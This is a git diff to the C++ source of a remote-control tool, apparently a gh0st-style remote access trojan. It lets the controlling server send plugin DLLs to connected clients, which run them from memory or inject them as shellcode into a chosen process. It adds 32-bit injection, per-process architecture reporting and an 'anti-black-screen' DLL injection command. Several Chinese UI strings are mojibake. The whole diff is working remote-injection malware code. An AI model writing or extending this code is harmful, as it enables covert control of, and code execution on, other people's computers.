diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index c458a07..ab8e052 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -485,7 +485,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } case CMD_EXECUTE_DLL: { -#ifdef _WIN64 static std::map> m_MemDLL; const int sz = 1 + sizeof(DllExecuteInfo); if (ulLength < sz)break; @@ -525,7 +524,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL)); Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); } -#endif break; } diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h index 150dca7..491494b 100644 --- a/client/ShellcodeInj.h +++ b/client/ShellcodeInj.h @@ -55,6 +55,44 @@ public: return m_buffer ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false; } + // Check if the process is 64bit. + static bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit) + { + is64Bit = FALSE; + BOOL bWow64 = FALSE; + typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*); + HMODULE hKernel = GetModuleHandleA("kernel32.dll"); + + LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ? + (LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr; + + if (fnIsWow64Process2) { + USHORT processMachine = 0, nativeMachine = 0; + if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) { + is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && + (nativeMachine == IMAGE_FILE_MACHINE_AMD64 || nativeMachine == IMAGE_FILE_MACHINE_ARM64); + return true; + } + } + else { + // Old system use IsWow64Process + if (IsWow64Process(hProcess, &bWow64)) { + if (bWow64) { + is64Bit = FALSE; // WOW64 → 一定是 32 位 + } + else { +#ifdef _WIN64 + is64Bit = TRUE; // 64 位程序不会运行在 32 位系统 → 目标一定是64位 +#else + is64Bit = FALSE; // 32 位程序无法判断目标是否64位 → 保守为false +#endif + } + return true; + } + } + return false; + } + private: BYTE* m_buffer = NULL; int m_length = 0; @@ -125,32 +163,6 @@ private: return pid; } - // Check if the process is 64bit. - bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit) - { - BOOL bWow64 = FALSE; - typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*); - HMODULE hKernel = GetModuleHandleA("kernel32.dll"); - - LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ? - (LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr; - - if (fnIsWow64Process2) { - USHORT processMachine = 0, nativeMachine = 0; - if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) { - is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64); - return true; - } - } else { - // Old system use IsWow64Process - if (IsWow64Process(hProcess, &bWow64)) { - is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64; - return true; - } - } - return false; - } - // Check if it's able to inject. HANDLE CheckProcess(DWORD pid) { diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 43be473..46bc769 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -13,6 +13,7 @@ #endif #include +#include "ShellcodeInj.h" #pragma comment(lib,"psapi.lib") @@ -91,11 +92,15 @@ LPBYTE CSystemManager::GetProcessList() if (dwReturn==0) { strcpy(szProcessFullPath,""); } - + BOOL is64Bit; + ShellcodeInj::IsProcess64Bit(hProcess, is64Bit); + const char* arch = is64Bit ? "x64" : "x86"; + char exeFile[300]; + sprintf(exeFile, "%s:%s", pe32.szExeFile, arch); //开始计算占用的缓冲区, 我们关心他的发送的数据结构 // 此进程占用数据大小 dwLength = sizeof(DWORD) + - lstrlen(pe32.szExeFile) + lstrlen(szProcessFullPath) + 2; + lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2; // 缓冲区太小,再重新分配下 if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), @@ -107,8 +112,8 @@ LPBYTE CSystemManager::GetProcessList() memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); - memcpy(szBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); - dwOffset += lstrlen(pe32.szExeFile) + 1; + memcpy(szBuffer + dwOffset, exeFile, lstrlen(exeFile) + 1); + dwOffset += lstrlen(exeFile) + 1; memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1); dwOffset += lstrlen(szProcessFullPath) + 1; diff --git a/common/commands.h b/common/commands.h index bafe8ea..78e3bf2 100644 --- a/common/commands.h +++ b/common/commands.h @@ -889,7 +889,8 @@ typedef struct DllExecuteInfo { char Name[32]; // DLL 名称 char Md5[33]; // DLL MD5 int Pid; // 被注入进程ID - char Reseverd[19]; + char Is32Bit; // 是否32位DLL + char Reseverd[18]; } DllExecuteInfo; #pragma pack(pop) diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 8dd3941..bc40a8a 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 31fbbb1..7c88cce 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -53,6 +53,7 @@ #define TIMER_CHECK 1 #define TIMER_CLOSEWND 2 #define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "鎻愮ず", MB_ICONINFORMATION); +#define TINY_DLL_NAME "TinyRun.dll" typedef struct { const char* szTitle; //鍒楄〃鐨勫悕绉 @@ -101,6 +102,13 @@ std::string EventName() snprintf(eventName, sizeof(eventName), "EVENT_%d", GetCurrentProcessId()); return eventName; } +std::string PluginPath() { + char path[_MAX_PATH]; + GetModuleFileNameA(NULL, path, _MAX_PATH); + GET_FILEPATH(path, "Plugins"); + return path; +} + ////////////////////////////////////////////////////////////////////////// @@ -233,7 +241,7 @@ bool IsDll64Bit(BYTE* dllBase) } // 杩斿洖锛氳鍙栫殑瀛楄妭鏁扮粍鎸囬拡锛堥渶瑕佹墜鍔ㄩ噴鏀撅級 -DllInfo* ReadPluginDll(const std::string& filename) +DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD }) { // 鎵撳紑鏂囦欢锛堜互浜岃繘鍒舵ā寮忥級 std::ifstream file(filename, std::ios::binary | std::ios::ate); @@ -255,11 +263,6 @@ DllInfo* ReadPluginDll(const std::string& filename) delete[] buffer; return nullptr; } - if (!IsDll64Bit(dllData)) { - Mprintf("涓嶆敮鎸32浣岲LL: %s\n", filename.c_str()); - delete[] buffer; - return nullptr; - } std::string masterHash(GetMasterHash()); int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length()); if (offset != -1) { @@ -271,7 +274,9 @@ DllInfo* ReadPluginDll(const std::string& filename) // 璁剧疆杈撳嚭鍙傛暟 auto md5 = CalcMD5FromBytes(dllData, fileSize); - DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_IOCPTHREAD, }; + DllExecuteInfo info = execInfo; + info.Size = fileSize; + info.Is32Bit = !IsDll64Bit(dllData); memcpy(info.Name, name.c_str(), name.length()); memcpy(info.Md5, md5.c_str(), md5.length()); buffer[0] = CMD_EXECUTE_DLL; @@ -282,7 +287,7 @@ DllInfo* ReadPluginDll(const std::string& filename) } DllInfo* ReadTinyRunDll(int pid) { - std::string name = "TinyRun.dll"; + std::string name = TINY_DLL_NAME; DWORD fileSize = 0; BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize); // 璁剧疆杈撳嚭鍙傛暟 @@ -477,6 +482,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage) ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage) ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode) + ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen) ON_MESSAGE(WM_SHARE_CLIENT, ShareClient) ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient) ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient) @@ -2224,7 +2230,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } case CMD_EXECUTE_DLL: { // 璇锋眰DLL锛堟墽琛屼唬鐮侊級銆怢銆 DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1); - if (std::string(info->Name) == "TinyRun.dll") { + if (std::string(info->Name) == TINY_DLL_NAME) { auto tinyRun = ReadTinyRunDll(info->Pid); Buffer* buf = tinyRun->Data; ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length()); @@ -2238,6 +2244,12 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length()); break; } + } + auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit }); + if (dll) { + Buffer* buf = dll->Data; + ContextObject->Send2Client(buf->Buf(), dll->Data->length()); + SAFE_DELETE(dll); } Sleep(20); break; @@ -3841,7 +3853,7 @@ context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) { EnterCriticalSection(&m_cs); for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { context* ContextObject = *i; - if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP) { + if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP || ContextObject->GetAdditionalData(RES_CLIENT_PUBIP) == clientIP) { LeaveCriticalSection(&m_cs); return ContextObject; } @@ -3860,10 +3872,36 @@ LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam){ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid){ auto ctx = FindHostByIP(ip); - if (ctx == NULL)return; + if (ctx == NULL) { + MessageBoxA(CString("娌℃湁鎵惧埌鍦ㄧ嚎涓绘満: ") + ip.c_str(), "鎻愮ず", MB_ICONINFORMATION); + return; + } auto tinyRun = ReadTinyRunDll(pid); Buffer* buf = tinyRun->Data; ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo)); SAFE_DELETE(tinyRun); } + +LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) { + char* ip = (char*)wParam; + std::string host(ip); + std::string arch = ip + 256; + int pid = lParam; + auto ctx = FindHostByIP(ip); + delete ip; + if (ctx == NULL) { + MessageBoxA(CString("娌℃湁鎵惧埌鍦ㄧ嚎涓绘満: ") + host.c_str(), "鎻愮ず", MB_ICONINFORMATION); + return S_FALSE; + } + bool is32Bit = arch == "x86"; + std::string path = PluginPath() + "\\" + (is32Bit ? "AntiBlackScreen_x86.dll" : "AntiBlackScreen_x64.dll"); + auto antiBlackScreen = ReadPluginDll(path, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, pid, is32Bit }); + if (antiBlackScreen) { + Buffer* buf = antiBlackScreen->Data; + ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo)); + SAFE_DELETE(antiBlackScreen); + }else + MessageBoxA(CString("娌℃湁鍙嶉粦灞忔彃浠: ") + path.c_str(), "鎻愮ず", MB_ICONINFORMATION); + return S_OK; +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index be53311..fd3d27e 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -300,6 +300,7 @@ public: afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam); afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam); LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all); afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam); diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 6221d81..7d62142 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -16,6 +16,7 @@ typedef struct ItemData { { return Data[index]; } + CString Arch; } ItemData; IMPLEMENT_DYNAMIC(CSystemDlg, CDialog) @@ -52,6 +53,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog) ON_COMMAND(ID_WLIST_MAX, &CSystemDlg::OnWlistMax) ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin) ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject) + ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen) END_MESSAGE_MAP() @@ -75,6 +77,7 @@ BOOL CSystemDlg::OnInitDialog() m_ControlList.InsertColumn(0, "映像名称", LVCFMT_LEFT, 180); m_ControlList.InsertColumn(1, "PID", LVCFMT_LEFT, 70); m_ControlList.InsertColumn(2, "程序路径", LVCFMT_LEFT, 320); + m_ControlList.InsertColumn(3, "架构", LVCFMT_LEFT, 70); ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中\0\0 } else if (m_bHow==TOKEN_WSLIST) { //窗口管理初始化列表 //初始化 窗口管理的列表 @@ -123,8 +126,8 @@ void CSystemDlg::ShowProcessList(void) { Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); char *szBuffer = tmp.c_str(); //xiaoxi[][][][][] - char *szExeFile; - char *szProcessFullPath; + const char *szExeFile; + const char *szProcessFullPath; DWORD dwOffset = 0; CString str; DeleteAllItems(); @@ -133,15 +136,17 @@ void CSystemDlg::ShowProcessList(void) for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) { LPDWORD PID = LPDWORD(szBuffer + dwOffset); //这里得到进程ID szExeFile = szBuffer + dwOffset + sizeof(DWORD); //进程名就是ID之后的啦 + auto arr = StringToVector(szExeFile, ':', 2); szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦 //他的数据结构的构建很巧妙 - m_ControlList.InsertItem(i, szExeFile); //将得到的数据加入到列表当中 + m_ControlList.InsertItem(i, arr[0].c_str()); //将得到的数据加入到列表当中 str.Format("%5u", *PID); m_ControlList.SetItemText(i, 1, str); m_ControlList.SetItemText(i, 2, szProcessFullPath); + m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str()); // ItemData 为进程ID - auto data = new ItemData{ *PID, {szExeFile, str, szProcessFullPath} }; + auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() }; m_ControlList.SetItemData(i, DWORD_PTR(data)); dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //跳过这个数据结构 进入下一个循环 @@ -484,3 +489,36 @@ void CSystemDlg::OnPlistInject() ASSERT(m_pParent); m_pParent->PostMessageA(WM_INJECT_SHELLCODE, (WPARAM)new std::string(m_ContextObject->PeerName), dwProcessID); } + + +void CSystemDlg::OnPlistAntiBlackScreen() +{ + CListCtrl* ListCtrl = NULL; + if (m_ControlList.IsWindowVisible()) + ListCtrl = &m_ControlList; + else + return; + + if (ListCtrl->GetSelectedCount() != 1) + ::MessageBox(m_hWnd, "只能同时向一个进程进行反黑屏操作!", "提示", MB_ICONINFORMATION); + + if (::MessageBox(m_hWnd, "确定要向目标进程进行反黑屏吗?\n请确保目标进程、DLL及被控端架构务必相同!", + "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) + return; + + DWORD dwOffset = 1, dwProcessID = 0; + POSITION Pos = ListCtrl->GetFirstSelectedItemPosition(); + CString arch; + if (Pos) { + int nItem = ListCtrl->GetNextSelectedItem(Pos); + auto data = (ItemData*)ListCtrl->GetItemData(nItem); + dwProcessID = data->ID; + arch = data->Arch; + dwOffset += sizeof(DWORD); + } + ASSERT(m_pParent); + char *arg = new char[300](); + memcpy(arg, m_ContextObject->PeerName.c_str(), m_ContextObject->PeerName.length()); + memcpy(arg + 256, arch, arch.GetLength()); + m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID); +} diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h index 9873993..cccb75f 100644 --- a/server/2015Remote/SystemDlg.h +++ b/server/2015Remote/SystemDlg.h @@ -47,4 +47,5 @@ public: afx_msg void OnWlistMin(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnPlistInject(); + afx_msg void OnPlistAntiBlackScreen(); }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index caecda2..9df5ea2 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 50039c4..3ec5c57 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -89,6 +89,7 @@ #define WM_SHARE_CLIENT WM_USER+3026 #define WM_ASSIGN_CLIENT WM_USER+3027 #define WM_ASSIGN_ALLCLIENT WM_USER+3028 +#define WM_ANTI_BLACKSCREEN WM_USER+3029 #ifdef _UNICODE #if defined _M_IX86